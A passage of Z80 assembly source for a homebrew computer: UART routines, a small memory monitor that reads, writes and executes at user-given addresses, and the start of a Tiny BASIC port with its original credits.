POP AF
RET
UART_TOGGLE_OUT2:
PUSH AF
IN A, (UART_MCR)
XOR 0x8
OUT (UART_MCR), A
POP AF
RET
;//////////////////////////////////////
;Get a character from the FIFO, add to write buffer and echo to screen
;Value is returned in A
;//////////////////////////////////////
GETCH:
PUSH BC
CALL UART_CLEAR_DLAB
GETCH_LOOP:
;Read Line Status Reg
IN A, (UART_LSR)
;If only bit 1 is set then FIFO has new data
AND 0x1F
CP 1
JP NZ, GETCH_LOOP
;Get next char from data holding register
IN A, (UART_DHR)
CALL WRITE_BUFFER
CALL UART_TOGGLE_OUT2
GETCH_END:
POP BC
RET
;//////////////////////////////////////
;Get a line of text from the FIFO, until a return or newline is recieved
;//////////////////////////////////////
GETSTR:
PUSH AF
GETSTR_LOOP:
CALL GETCH
CP CHAR_RETURN
JP NZ, GETSTR_LOOP
POP AF
RET
;///////////////////////////////////////
;Write a charactar to the terminal buffer, and echo to screen
;expects A to be the character
;//////////////////////////////////////
WRITE_BUFFER:
PUSH AF
PUSH BC
PUSH DE
;Save character in D
LD D, A
;Load address of terminal buffer
LD BC, TERM_BUF
;Get size of terminal buffer
LD A, (BC)
;Add 1
INC A
;Write new length to start of buffer
LD (BC), A
;Add A and C for new offset (C should be 0 but just in case)
ADD A, C
;Put A into C
LD C, A
;Put char back into A
LD A, D
;Write to buffer
LD (BC), A
CALL PRINTCH
POP DE
POP BC
POP AF
RET
;/////////////////////////////////////////
;Assumes that A is the charactar to write
;/////////////////////////////////////////
PRINTCH:
PUSH AF
CALL UART_CLEAR_DLAB
PRINTCH_LOOP:
;Read transmit register status in line status register (LSR) See page 22
;Wait if not empty
IN A, (UART_LSR)
AND 0x60
CP 0x60
JP NZ, PRINTCH_LOOP
;Write Char to UART
POP AF
OUT (UART_DHR), A
RET
;////////////////////////////////////////
;Writes a string via IO
;Expects HL to be the address of a string
;////////////////////////////////////////
WRITE_STR:
PUSH AF
PUSH HL
WRITE_START:
LD A, (HL)
CP CHAR_EOT
JP Z, WRITE_CLOSE
CALL PRINTCH
INC HL
JP WRITE_START
WRITE_CLOSE:
CALL UART_TOGGLE_OUT1
POP HL
POP AF
RET
;Main function to tokenize, parse, and execute user entered expressions
;Assume AF has return values
EVALUATE_STMT:
PUSH AF
PUSH HL
;Tokenizes and checks for invalid characters
CALL TOKENIZE_BUFFER
CP 0xFF
JP Z, EVALUATE_STMT_TOKEN_FAIL
;Checks syntax and prepares for execution
CALL PARSE_BUFFER
CP 0xFF
JP Z, EVALUATE_STMT_SYNTAX_FAIL
;Execute the commands found in the buffer
CALL EXECUTE_BUFFER
CP 0xFF
JP Z, EVALUATE_STMT_EXE_FAIL
;If all three functions return then jump to end
JP EVALUATE_STMT_RETURN
EVALUATE_STMT_TOKEN_FAIL:
;Print invalid token string
LD HL, COLOR_ERR
CALL WRITE_STR
LD HL, TOKEN_ERROR
CALL WRITE_STR
LD HL, COLOR_NORMAL
CALL WRITE_STR
JP EVALUATE_STMT_RETURN
EVALUATE_STMT_SYNTAX_FAIL:
;Print syntax error string
LD HL, COLOR_ERR
CALL WRITE_STR
LD HL, SYNTAX_ERROR
CALL WRITE_STR
LD HL, COLOR_NORMAL
CALL WRITE_STR
JP EVALUATE_STMT_RETURN
EVALUATE_STMT_EXE_FAIL:
;Print error string
LD HL, COLOR_ERR
CALL WRITE_STR
LD HL, EXE_ERROR
CALL WRITE_STR
LD HL, COLOR_NORMAL
CALL WRITE_STR
EVALUATE_STMT_RETURN:
POP HL
POP AF
RET
;////////////////////////////////////////////////////////////////
;There are 5 types of symbols - LITERAL, @, :, <, ?
;Returns status in register A
;0x00 - Good
;0xFF - Bad
;////////////////////////////////////////////////////////////////
;Buffer for tokens, first byte is size of buffer
TOKEN_BUF equ 0x8100
;Token Symbols in token buffer
TOKEN_EF equ 0 ;End of buffer size 1
TOKEN_LT equ 1 ;ABCDEF0123456789 size 2
TOKEN_EX equ 2 ;@ size 1
TOKEN_RD equ 3 ;: size 1
TOKEN_WR equ 4 ;< size 1
TOKEN_HE equ 5 ;? size 1
TOKEN_WD equ 6 ;Full Word, size 3
;////////////////////////////////////////////////////////////////
TOKENIZE_BUFFER:
PUSH BC
PUSH DE
;Clear parse buffer
LD DE, TOKEN_BUF
LD A, 0
LD (DE), A
;Get start of terminal buffer
LD DE, TERM_BUF
;For instruction tokens or newlines
;Load the token code into C and pass that to the tokenize function
;If its a hex letter or number
;The value is in B already and the tokenize function expects that
;Basically, for every byte in the buffer:
;is it a newline? if so then exit
;is it a number? if so then convert to hex and tokenize
;is it a a hex char? convert to hex and tokenize
;is it an instruction? put the propper token
;is it whitespace? ignore
TOKENIZE_BUFFER_LOOP:
;Get next character
INC DE
LD A, (DE)
;Save character
LD B, A
;/////////////////////
;Check if return
;/////////////////////
LD C, TOKEN_EF
CP CHAR_RETURN
CALL Z, TOKENIZE_INSTR
;Return to start of loop if return is FF
CP 0xFF
JP Z, TOKENIZE_BUFFER_RETURN_SUCCESS
;/////////////////////
;Check if a number
;/////////////////////
SUB 0x30
CP 0xA
CALL C, TOKENIZE_NUMBERS
;Return to start of loop if return is FF
CP 0xFF
JP Z, TOKENIZE_BUFFER_LOOP
;Return original character
LD A, B
;/////////////////////
;Check if a hex character
;/////////////////////
SUB 0x41
CP 0x6
CALL C, TOKENIZE_CHAR
;Return to start of loop if return is FF
CP 0xF
JP Z, TOKENIZE_BUFFER_LOOP
;Return original character
LD A, B
;/////////////////////
;Check if a ?
;/////////////////////
LD C, TOKEN_HE
CP SYM_HELP
CALL Z, TOKENIZE_INSTR
;Return to start of loop if return is FF
CP 0xFF
JP Z, TOKENIZE_BUFFER_LOOP
;Return original character
LD A, B
;/////////////////////
;Check if a :
;/////////////////////
LD C, TOKEN_RD
CP SYM_READ
CALL Z, TOKENIZE_INSTR
;Return to start of loop if return is FF
CP 0xFF
JP Z, TOKENIZE_BUFFER_LOOP
;Return original character
LD A, B
;/////////////////////
;Check if a <
;/////////////////////
LD C, TOKEN_WR
CP SYM_WRITE
CALL Z, TOKENIZE_INSTR
;Return to start of loop if return is FF
CP 0xFF
JP Z, TOKENIZE_BUFFER_LOOP
;Return original character
LD A, B
;/////////////////////
;Check if a @
;/////////////////////
LD C, TOKEN_EX
CP SYM_EXE
CALL Z, TOKENIZE_INSTR
;Return to start of loop if return is FF
CP 0xFF
JP Z, TOKENIZE_BUFFER_LOOP
;/////////////////////
;Check if whitespace (ignore) (maybe shouldn't ignore?)
;/////////////////////
CP 0x20
JP Z, TOKENIZE_BUFFER_LOOP
;If the program gets to this point there is an error
LD A, 0xFF
JP TOKENIZE_BUFFER_RETURN
;Return
TOKENIZE_BUFFER_RETURN_SUCCESS:
;Signal that the program returned successful!
LD A, 00
TOKENIZE_BUFFER_RETURN:
POP DE
POP BC
RET
;Expects C to be the token value
;Return 0xFF in A when complete
TOKENIZE_INSTR:
PUSH BC
PUSH DE
PUSH HL
;Get size of token buffer
LD HL, TOKEN_BUF
LD A, (HL)
;Save in D
LD D, A
;Increment token buffer size
INC A
LD (HL), A
;Add the new size to the pointer so that it points to the next open spot
LD A, D
ADD A, L
INC A
LD L, A
;Put Instruction Token at the next open spot
LD (HL), C
INC L ;TODO: ???
POP HL
POP DE
POP BC
LD A, 0xFF
RET
;Expects B to hold next char value
;Write token symbol and value (if needed) to TOKEN_BUF
TOKENIZE_NUMBERS:
PUSH BC
PUSH DE
PUSH HL
;Get size of token buffer
LD HL, TOKEN_BUF
LD A, (HL)
;Save in C
LD C, A
;Increment by 2
ADD A, 2
LD (HL), A
;Add size to the buffer pointer to get the next available spot
LD A, C
ADD A, L
INC A
LD L, A
;Put Number Token
LD (HL), TOKEN_LT
INC L
;Put Token Value
LD A, B
SUB 0x30
LD (HL), A
POP HL
POP DE
POP BC
LD A, 0xFF
RET
;Expects B to be the Char value
;Write token symbol and value to TOKEN_BUF
;Returns an F instead of FF because of an error with @
TOKENIZE_CHAR:
PUSH BC
PUSH DE
PUSH HL
;Get size of token buffer
LD HL, TOKEN_BUF
LD A, (HL)
;Save in C
LD C, A
;Increment by 2
ADD A, 2
LD (HL), A
;Goto next free spot
LD A, C
ADD A, L
INC A
LD L, A
;Put Number Token
LD (HL), TOKEN_LT
INC L
;Put Token Value
LD A, B
SUB 0x37
LD (HL), A
POP HL
POP DE
POP BC
LD A, 0xF
RET
;TODO: Can this just write over the other buffers?
;Buffer for Parser
PARSE_RAM equ 0x8200
;Current and next token for parser
PARSE_CUR equ 0x8200
PARSE_NEXT equ 0x8201
;Location of state for FSM
PARSE_STATE equ 0x8202
;Incrementor location for parser
PARSE_INC equ 0x8203
;High and low values for literals
PARSE_LIT_H equ 0x8204
PARSE_LIT_L equ 0x8205
PARSE_BUF equ 0x8210
;This should organize each token into a fully readable form
;I'm using the term 'Parse' very loosely
;Return 0x00 on success
PARSE_BUFFER:
PUSH BC
PUSH DE
PUSH HL
;Get start of token buffer
LD HL, TOKEN_BUF
;Get size of buffer
LD A, (HL)
;Return if its empty
CP 0
JP Z, PARSE_BUFFER_RETUN_SUCCESS
;Clear literal storage
LD HL, PARSE_LIT_L
LD (HL), 0
LD HL, PARSE_LIT_H
LD (HL), 0
;Set state to be start
;LD HL, PARSE_STATE
;LD (HL), STATE_START
;Set size of buffer to be 0
LD HL, PARSE_BUF
LD (HL), 0
;Set incrementor
LD HL, PARSE_INC
LD (HL), 1
PARSE_BUFFER_LOOP:
;Get incrementor
LD HL, PARSE_INC
LD A, (HL)
;Go to next location in token buffer
LD HL, TOKEN_BUF
ADD A, L
LD L, A
;Get Token, save to A and B
LD A, (HL)
LD B, A
;Check if its the end of the buffer
CP TOKEN_EF
CALL Z, PARSE_INST
CP 0xFF
JP Z, PARSE_BUFFER_RETUN_SUCCESS
;Check if current token is a single literal value
CP TOKEN_LT
CALL Z, PARSE_LITERAL
CP 0xFF
JP Z, PARSE_BUFFER_LOOP
;Check if current token is an @ symbol
CP TOKEN_EX
CALL Z, PARSE_INST
CP 0xFF
JP Z, PARSE_BUFFER_LOOP
;Check if current token is an : symbol
CP TOKEN_RD
CALL Z, PARSE_INST
CP 0xFF
JP Z, PARSE_BUFFER_LOOP
;Check if current token is an < symbol
CP TOKEN_WR
CALL Z, PARSE_INST
CP 0xFF
JP Z, PARSE_BUFFER_LOOP
;Check if current token is an ? symbol
CP TOKEN_HE
CALL Z, PARSE_INST
CP 0xFF
JP Z, PARSE_BUFFER_LOOP
;If parser reaches this point there is an invalid token
LD A, 0xFF
JP PARSE_BUFFER_RETURN
PARSE_BUFFER_RETUN_SUCCESS:
LD A, 0x00
PARSE_BUFFER_RETURN:
POP HL
POP DE
POP BC
RET
;HL should be location of next token
;A should be the token
PARSE_LITERAL:
PUSH BC
PUSH DE
PUSH HL
PARSE_LITERAL_LOOP:
;Check if this is a literal token
;TODO jump to an error state, not save
CP TOKEN_LT
JP NZ, PARSE_LITERAL_SAVE
;The goal of this next section is to shift the current token into two 8 bit values to create a single 16 bit value
;This is horrible and ugly but im too tired to make it better right now
;Get value
INC L
LD A, (HL)
;Save HL for later
PUSH HL
;Save value into E
LD E, A
;Get high literal value
LD HL, PARSE_LIT_H
LD A, (HL)
;Rotate A by 4 to the left (may have to rotate 5 times?) so now low bytes are high
RLCA
RLCA
RLCA
RLCA
;Zero out lower bytes
AND 0xF0
;Save rotated high byte into B
LD B, A
;Get Low literal value
LD HL, PARSE_LIT_L
LD A, (HL)
;Rotate A by 4 to the left (so now low and high bytes are swapped)
RLCA
RLCA
RLCA
RLCA
;Save into C
LD C, A
;Zero out high bytes
AND 0x0F
;Now A should contain the HIGH byte
OR B
LD HL, PARSE_LIT_H
LD (HL), A
;Now get the value of the token
LD A, C
;Put the new token (stored in E) into the low bytes of A
AND 0xF0
OR E
;Save
LD HL, PARSE_LIT_L
LD (HL), A
;Get TOKEN incrementor
LD HL, PARSE_INC
LD A, (HL)
ADD A, 2
LD (HL), A
;Increment pointer and return to start
POP HL
INC L
LD A, (HL)
JP PARSE_LITERAL_LOOP
PARSE_LITERAL_SAVE:
;First, save this token and the full value
;Get size of parse buffer
;HL Holds the location of the next (non literal) token
PUSH HL
LD HL, PARSE_BUF
LD A, (HL)
;Go to next empty spot
ADD A, L
INC A
LD L, A
;First put word token
LD (HL), TOKEN_WD
INC L
;Next Put High Byte
LD DE, PARSE_LIT_H
LD A, (DE)
LD (HL), A
INC L
;Next put low byte
LD DE, PARSE_LIT_L
LD A, (DE)
LD (HL), A
INC L
;Clear literal storage NEWNEWNEW
LD HL, PARSE_LIT_L
LD (HL), 0
LD HL, PARSE_LIT_H
LD (HL), 0
;Go back to start of buffer, get size
LD HL, PARSE_BUF
LD A, (HL)
;Increment by size of token
ADD A, 0x3
LD (HL), A
POP HL
PARSE_LITERAL_RETURN_SUCCESS:
LD A, 0xFF
PARSE_LITERAL_RETURN:
POP HL
POP DE
POP BC
RET
;A should just be the instruciton token, no additional work needed
PARSE_INST:
PUSH BC
PUSH DE
PUSH HL
;Save token into B
LD B, A
LD HL, PARSE_BUF
LD A, (HL)
;Go to next empty spot
ADD A, L
INC A
LD L, A
;Put token
LD (HL), B
;Go back to start of buffer, get size
LD HL, PARSE_BUF
LD A, (HL)
;Increment by size of token
INC A
LD (HL), A
;Update TOKEN incrementor
LD HL, PARSE_INC
LD A, (HL)
INC A
LD (HL), A
;Set return value
LD A, 0xFF
POP HL
POP DE
POP BC
RET
;This is essentially a big case statement depending on which token appears
;first in the parse buffer, each case has a corresponding subroutine
;it shouldn't be hard to add extra functions later if needed
EXECUTE_BUFFER:
PUSH BC
PUSH DE
PUSH HL
;Go to first token in parse buffer
LD HL, PARSE_BUF
INC HL
;Get token
LD A, (HL)
EXECUTE_BUFFER_EF:
;Check if its the end of the buffer (no instruction)
CP TOKEN_EF
JP Z, EXECUTE_BUFFER_RETURN_SUCCESS
EXECUTE_BUFFER_WD:
;Check if current token is a Word Value
CP TOKEN_WD
JP NZ, EXECUTE_BUFFER_EXE ;If not, jump to the next
CALL EVAL_LITERAL
CP 0 ;Expect a return value of 0
JP Z, EXECUTE_BUFFER_RETURN_SUCCESS
EXECUTE_BUFFER_EXE:
;Check if current token is an @ symbol
CP TOKEN_EX
JP NZ, EXECUTE_BUFFER_HE
CALL EVAL_EXE
CP 0
JP Z, EXECUTE_BUFFER_RETURN_SUCCESS
EXECUTE_BUFFER_HE:
;Check if current token is an ? symbol
CP TOKEN_HE
CALL Z, EVAL_HELP
CP 0
JP Z, EXECUTE_BUFFER_RETURN_SUCCESS
;More actions could be added here
EXECUTE_BUFFER_FAIL:
;If parser reaches this point then there is an invalid instruction
LD A, 0xFF
JP EXECUTE_BUFFER_RETURN
EXECUTE_BUFFER_RETURN_SUCCESS:
;I don't think this is needed because A should already be 0
;LD A, 0x00
EXECUTE_BUFFER_RETURN:
POP HL
POP DE
POP BC
RET
EVAL_LITERAL:
PUSH HL
PUSH DE
;Get First Two Bytes
LD HL, PARSE_BUF
LD A, L
ADD A, 2
LD L, A
;Get the top byte
LD A, (HL)
;Store into D
LD D, A
;Get the bottom byte
INC HL
LD A, (HL)
;Store into E
LD E, A
;Get the instruction token
INC HL
LD A, (HL)
;See if A is a read instruction
EVAL_LITERAL_READ:
CP TOKEN_RD
JP NZ, EVAL_LITERAL_WRITE
CALL EVAL_READ
CP 0 ;Check for error
JP Z, EVAL_LITERAL_SUCCESS
EVAL_LITERAL_WRITE:
CP TOKEN_WR
JP NZ, EVAL_LITERAL_FAIL
CALL EVAL_WRITE
CP 0 ;Check for error
JP Z, EVAL_LITERAL_SUCCESS
;Other instrucitons could be added here...
EVAL_LITERAL_FAIL:
LD A, 0xFF
EVAL_LITERAL_SUCCESS:
POP DE
POP HL
RET
EVAL_EXE:
PUSH HL
PUSH DE
;Clear DE
LD D, 0
LD E, 0
;Get look at the location of the second token in the buffer
LD HL, PARSE_BUF
LD A, L
ADD A, 2
LD L, A
;Get the token
LD A, (HL)
;Make sure its a WORD token
CP TOKEN_WD
JP NZ, EVAL_EXE_FAILURE
;Get the literal
INC HL
LD A, (HL)
;Assume 1 Byte at first
LD D, A
;Get next token
INC HL
LD A, (HL)
LD E, A
;Set Up Return Address so that RET can be called
LD HL, EVAL_EXE_SUCCESS
PUSH HL
LD H, D
LD L, E
;Jump to new, arbitrary location
JP (HL)
EVAL_EXE_FAILURE:
LD A, 0xFF
JP EVAL_EXE_EXIT
EVAL_EXE_SUCCESS:
LD HL, CLEAR_DISPLAY
CALL WRITE_STR
LD A, 0
EVAL_EXE_EXIT:
POP DE
POP HL
RET
EVAL_READ:
;DE is the literal value
;HL should be pointing to the read token
PUSH HL
PUSH DE
PUSH BC
;get next token
INC HL
LD A, (HL)
;check that it is a word
CP TOKEN_WD
JP NZ, EVAL_READ_FAIL
;Get the 8 bit value
INC HL
INC HL
LD A, (HL)
;Put the target address in HL
LD H, D
LD L, E
;Use B to count when a newline is needed
LD B, 0
;Loop over each value at the location
EVAL_READ_LOOP:
;Save the pointer, and the incrementor
PUSH AF
PUSH HL
;Is a newline needed?
LD A, B
AND 0x0F
CP 0
JP NZ, EVAL_READ_LOOP_L1
LD A, CHAR_NEWLINE
CALL PRINTCH
LD A, CHAR_RETURN
CALL PRINTCH
EVAL_READ_LOOP_L1:
;Convert the hex to ascii
LD A, (HL)
CALL HTOA
;Print the first char
LD A, H
CALL PRINTCH
;Print the second char
LD A, L
CALL PRINTCH
;Print a space
LD A, CHAR_SPACE
CALL PRINTCH
;Get the pointer and the incrementor back
POP HL
POP AF
;Decrement counter and return if A is not 0
INC HL
INC B
DEC A
CP 0
JP NZ, EVAL_READ_LOOP
;A is already 0, just jump to end
JP EVAL_READ_EXIT
EVAL_READ_FAIL:
LD A, 0xFF
EVAL_READ_EXIT:
POP BC
POP DE
POP HL
RET
EVAL_WRITE:
;DE is the literal value
;HL should not have been modified from before
PUSH HL
PUSH DE
;Look now for the final Literal
INC HL
LD A, (HL)
;Check that next token is a word, even though we only use the lower byte
CP TOKEN_WD
JP NZ, EVAL_WRITE_FAIL
;Get value to write
INC HL
INC HL
LD A, (HL)
;Write the value
LD H, D
LD L, E
LD (HL), A
;SUCCESS!
LD A, 0
JP EVAL_WRITE_RETURN
EVAL_WRITE_FAIL:
LD A, 0xFF
EVAL_WRITE_RETURN:
POP DE
POP HL
RET
EVAL_HELP:
PUSH HL
;Just print out the help text
LD HL, HELP_TEXT
CALL WRITE_STR
LD A, 0
POP HL
RET
;HEX to ASCII
;Convert hex value to 2 ascii characters
;Expects A to be the hex value
;Returns 2 chars in HL
HTOA:
PUSH AF
PUSH BC
;High Nibble First, save into H
;Copy A into B
LD B, A
HTOA_HIGH:
;Rotate right
RR A
RR A
RR A
RR A
;Clear high bits
AND 0x0F
;Is this A-F?
HTOA_HEX_1:
CP 0xA
JP C, HTOA_INT_1
ADD A, 0x37
LD H, A
JP HTOA_LOW
;Is this 0-9?
HTOA_INT_1:
ADD A, 0x30
LD H, A
;Next do the low nibble, save into E
HTOA_LOW:
;Copy B back into A
LD A, B
AND 0x0F
;Is this A-F?
HTOA_HEX_2:
CP 0xA
JP C, HTOA_INT_2
ADD A, 0x37
LD L, A
JP HTOA_EXIT
;Is this 0-9?
HTOA_INT_2:
ADD A, 0x30
LD L, A
HTOA_EXIT:
POP BC
POP AF
RET
;//////////////////////
;/////////DATA/////////
;//////////////////////
BOOT_MSG:
db CHAR_NEWLINE, CHAR_RETURN, "ASH v0.2", CHAR_NEWLINE, CHAR_RETURN, "(C) 2020 by Aidan Jennings"
db CHAR_NEWLINE, CHAR_RETURN, "ZILOG Z80 32k EEPROM, 32k SRAM", CHAR_NEWLINE, CHAR_RETURN, "TEXT ONLY", CHAR_EOT
READY_MSG:
db CHAR_NEWLINE, CHAR_NEWLINE, CHAR_RETURN, "BOOT PROCESS COMPLETE!", CHAR_NEWLINE, CHAR_EOT
SYNTAX_ERROR:
db CHAR_NEWLINE, CHAR_RETURN, "SYNTAX ERROR", CHAR_NEWLINE, CHAR_EOT
TOKEN_ERROR:
db CHAR_NEWLINE, CHAR_RETURN, "INVALID TOKEN", CHAR_NEWLINE, CHAR_EOT
EXE_ERROR:
db CHAR_NEWLINE, CHAR_RETURN, "EXECUTION ERROR", CHAR_NEWLINE, CHAR_EOT
HELP_TEXT:
db CHAR_NEWLINE, CHAR_RETURN, "INSTRUCTIONS : ", CHAR_NEWLINE, CHAR_RETURN, "1FFF : 10 - READ 16 BYTES STARTING AT LOCATION 0x1FFF", CHAR_NEWLINE, CHAR_RETURN, "1FFF < 10 - WRITE 0x10 TO LOCAITON 0x1FFF", CHAR_NEWLINE, CHAR_RETURN, "@1FFF - BEGIN EXECUTION AT LOCATION 0x1FFF", CHAR_NEWLINE, CHAR_RETURN, "? - DISPLAY HELP MESSAGE", CHAR_NEWLINE, CHAR_EOT
PROMPT:
db CHAR_NEWLINE, CHAR_RETURN, ">>>:", CHAR_EOT
;////////////////////////////////////////////////////////
;Text Color Change
;////////////////////////////////////////////////////////
COLOR_NORMAL:
db ASCII_ESC, ASCII_LBR, ASCII_FG, COLOR_WHITE, ASCII_SEMI, ASCII_BG, COLOR_BLACK, ASCII_TER, CHAR_EOT
COLOR_WARN:
db ASCII_ESC, ASCII_LBR, ASCII_FG, COLOR_YELLOW, ASCII_SEMI, ASCII_BG, COLOR_BLACK, ASCII_TER, CHAR_EOT
COLOR_ERR:
db ASCII_ESC, ASCII_LBR, ASCII_FG, COLOR_RED, ASCII_SEMI, ASCII_BG, COLOR_BLACK, ASCII_TER, CHAR_EOT
CLEAR_DISPLAY:
db ASCII_ESC, ASCII_LBR, "2J", CHAR_EOT
;END OF MONITOR
;*************************************************************
;
; TINY BASIC FOR ZILOG Z80
; VERSION 2.5g
;
; ORIGINAL v2.0
; BY LI-CHEN WANG
;
; MODIFIED AND TRANSLATED
; TO INTEL MNEMONICS
; BY ROGER RAUSKOLB
; 10 OCTOBER,1976
;
; MODIFIED AND TRANSLATED
; TO ZILOG MNEMONICS
; BY DOUG GABBARD
; www.retrodepot.net
;
; RELEASED TO THE PUBLIC
; 10 OCTOBER,2017
; YEAH, 41 YEARS LATER....
;
; UPDATED TO V2.5g
; 9 DECEMBER, 2017
; BY DOUG GABBARD
; www.retrodepot.net
;
; @COPYLEFT
; ALL WRONGS RESERVED
;
;*************************************************************
; This code is derived from the original 8080 Tiny Basic.
; It was first compiled in 8080 Mnemonics, then disassembled
; into Zilog Mnemonics. And then checked against the original
; to ensure accuracy. It was then partially enhanced with z80
; specific code. And once done, it was then modified to work
; with the G80-S Micro Computer. However, that portion of the
; code has been left out in order to make this code a little
; more portable. There are only three routines that one needs
; to write, and specifing the serial port's I/O address, in
; order to make this version work with your own DIY computer.
; Those routines can be found at the end of the source code.
;
; I hope you find good use for this relic. However, I would
; ask that if you do find use for it, please put a reference
; to me in your work. And please, distribute freely.
;*************************************************************
;*************************************************************
; *** ROUTINES TO MODIFY ***
;
; The routines that need modified for this to work with your
; particular computer are at the bottom of this file. They
; are: SERIAL_INIT, RX_RDY, and TX_RDY. SERIAL_INIT is a
; routine to intialize the Serial Port that will be used.
; RX_RDY is a routine to check if the Serial Port has a
; character available. And TX_RDY checks to see if the Serial
; Port is ready to send a character, and then sends it.
;
; You will also need to define the location of your serial
; port. It's is the next line below this block of text.
;*************************************************************
SerialPort EQU UART_DHR ;This is for your I/0
SPACE EQU 020H ; Space
TAB EQU 09H ; HORIZONTAL TAB
CTRLC EQU 03H ; Control "C"
CTRLG EQU 07H ; Control "G"
BKSP EQU 08H ; Back space
LF EQU 0AH ; Line feed
CS EQU 0CH ; Clear screen
CR EQU 0DH ; Carriage return
CTRLO EQU 0FH ; Control "O"
CTRLQ EQU 011H ; Control "Q"
CTRLR EQU 012H ; Control "R"
CTRLS EQU 013H ; Control "S"
CTRLU EQU 015H ; Control "U"
ESC EQU 01BH ; Escape
DEL EQU 07FH ; Delete
STACK EQU 0FFFFH ; STACKB
OCSW EQU 08000H ;SWITCH FOR OUTPUT
CURRNT EQU OCSW+1 ;POINTS FOR OUTPUT
STKGOS EQU OCSW+3 ;SAVES SP IN 'GOSUB'
VARNXT EQU OCSW+5 ;TEMP STORAGE
STKINP EQU OCSW+7 ;SAVES SP IN 'INPUT'
LOPVAR EQU OCSW+9 ;'FOR' LOOP SAVE AREA
LOPINC EQU OCSW+11 ;INCREMENT
LOPLMT EQU OCSW+13 ;LIMIT
LOPLN EQU OCSW+15 ;LINE NUMBER
LOPPT EQU OCSW+17 ;TEXT POINTER
RANPNT EQU OCSW+19 ;RANDOM NUMBER POINTER
TXTUNF EQU OCSW+21 ;->UNFILLED TEXT AREA
TXTBGN EQU OCSW+23 ;TEXT SAVE AREA BEGINS
TXTEND EQU 0FF00H ;TEXT SAVE AREA ENDS
;*************************************************************
; *** ZERO PAGE SUBROUTINES ***
;
; THE Z80 INSTRUCTION SET ALLOWS FOR 8 ROUTINES IN LOW MEMORY
; THAT MAY BE CALLED BY RST 00H, 08H, 10H, 18H, 20H, 28H, 30H,
; AND 38H. THIS IS A ONE BYTE INSTRUCTION, AND IS FUNCTIONALLY
; SIMILAR TO THE THREE BYTE INSTRUCTION 'CALL XXXX'. TINY BASIC
; WILL USE THE RST INSTRUCTION FOR THE 7 MOST FREQUENTLY USED
; SUBROUTINES. TWO OTHER SUBROUTINES (CRLF & TSTNUM) ARE ALSO
; IN THIS SECTION. THEY CAN BE REACHED WITH 'CALL'.
;*************************************************************
DWA MACRO WHERE
DB (WHERE SHR 8) + 128
DB WHERE AND 0FFH
ENDM
ORG 0800H
START:
LD SP,STACK ;*** COLD START ***
LD A,0FFH
JP INIT
RST08: EX (SP),HL ;*** TSTC OR RST 08H ***
RST 28H ;IGNORE BLANKS AND
CP (HL) ;TEST CHARACTER
JP TC1 ;REST OF THIS IS AT TC1
CRLF:
LD A,CR ;*** CRLF ***
RST10: PUSH AF ;*** OUTC OR RST 10H ***
LD A,(OCSW) ;PRINT CHARACTER ONLY
OR A ;IF OCSW SWITCH IS ON
JP OUTC ;REST OF THIS AT OUTC
RST18: CALL EXPR2 ;*** EXPR OR RST 18H ***
PUSH HL ;EVALUATE AN EXPRESSION
JP EXPR1 ;REST OF IT AT EXPR1
DB 'W'
RST20: LD A,H ;*** COMP OR RST 20H ***
CP D ;COMPARE HL WITH DE
RET NZ ;RETURN CORRECT C AND
LD A,L ;Z FLAGS
CP E ;BUT OLD A IS LOST
RET
DB 'AN'
SS1:
RST28: LD A,(DE) ;*** IGNBLK/RST 28H ***
CP 20H ;IGNORE BLANKS
RET NZ ;IN TEXT (WHERE DE->)
INC DE ;AND RETURN THE FIRST
JP SS1 ;NON-BLANK CHAR. IN A
RST30: POP AF ;*** FINISH/RST 30H ***
CALL FIN ;CHECK END OF COMMAND
JP QWHAT ;PRINT "WHAT?" IF WRONG
DB 'G'
RST38: RST 28H ;*** TSTV OR RST 38H ***
SUB 40H ;TEST VARIABLES
RET C ;C:NOT A VARIABLE
JR NZ,TV1 ;NOT "@" ARRAY
INC DE ;IT IS THE "@" ARRAY
CALL PARN ;@ SHOULD BE FOLLOWED
ADD HL,HL ;BY (EXPR) AS ITS INDEX
JR C,QHOW ;IS INDEX TOO BIG?
PUSH DE ;WILL IT OVERWRITE
EX DE,HL ;TEXT?
CALL SIZE ;FIND SIZE OF FREE
RST 20H ;AND CHECK THAT
JP C,ASORRY ;IF SO, SAY "SORRY"
LD HL,VARBGN ;IF NOT GET ADDRESS
CALL SUBDE ;OF @(EXPR) AND PUT IT
POP DE ;IN HL
RET ;C FLAG IS CLEARED
TV1:
CP 1BH ;NOT @, IS IT A TO Z?
CCF ;IF NOT RETURN C FLAG
RET C
INC DE ;IF A THROUGH Z
LD HL,VARBGN ;COMPUTE ADDRESS OF
RLCA ;THAT VARIABLE
ADD A,L ;AND RETURN IT IN HL
LD L,A ;WITH C FLAG CLEARED
LD A,00H
ADC A,H
LD H,A
RET
TC1:
INC HL ;COMPARE THE BYTE THAT
JR Z,TC2 ;FOLLOWS THE RST INST.
PUSH BC ;WITH THE TEXT (DE->)
LD C,(HL) ;IF NOT =, ADD THE 2ND
LD B,00H ;BYTE THAT FOLLOWS THE
ADD HL,BC ;RST TO THE OLD PC
POP BC ;I.E., DO A RELATIVE
DEC DE ;JUMP IF NOT =
TC2:
INC DE ;IF =, SKIP THOSE BYTES
INC HL ;AND CONTINUE
EX (SP),HL
RET
TSTNUM:
LD HL,0000H ;*** TSTNUM ***
LD B,H ;TEST IF THE TEXT IS
RST 28H ;A NUMBER
TN1:
CP 30H ;IF NOT, RETURN 0 IN
RET C ;B AND HL
CP 3AH ;IF NUMBERS, CONVERT
RET NC ;TO BINARY IN HL AND
LD A,0F0H ;SET B TO # OF DIGITS
AND H ;IF H>255, THERE IS NO
JR NZ,QHOW ;ROOM FOR NEXT DIGIT
INC B ;B COUNTS # OF DIGITS
PUSH BC
LD B,H ;HL=10*HL+(NEW DIGIT)
LD C,L
ADD HL,HL ;WHERE 10* IS DONE BY
ADD HL,HL ;SHIFT AND ADD
ADD HL,BC
ADD HL,HL
LD A,(DE) ;AND (DIGIT) IS FROM
INC DE ;STRIPPING THE ASCII
AND 0FH ;CODE
ADD A,L
LD L,A
LD A,00H
ADC A,H
LD H,A
POP BC
LD A,(DE) ;DO THIS DIGIT AFTER
JP P,TN1 ;DIGIT. S SAYS OVERFLOW
QHOW:
PUSH DE ;*** ERROR "HOW?" ***
AHOW:
LD DE,HOW
JP ERROR_ROUTINE
HOW: DB "HOW?",CR
OK: DB "OK",CR
WHAT: DB "WHAT?",CR
SORRY: DB "SORRY",CR
;*************************************************************
;
; *** MAIN ***
;
; THIS IS THE MAIN LOOP THAT COLLECTS THE TINY BASIC PROGRAM
; AND STORES IT IN THE MEMORY.
;
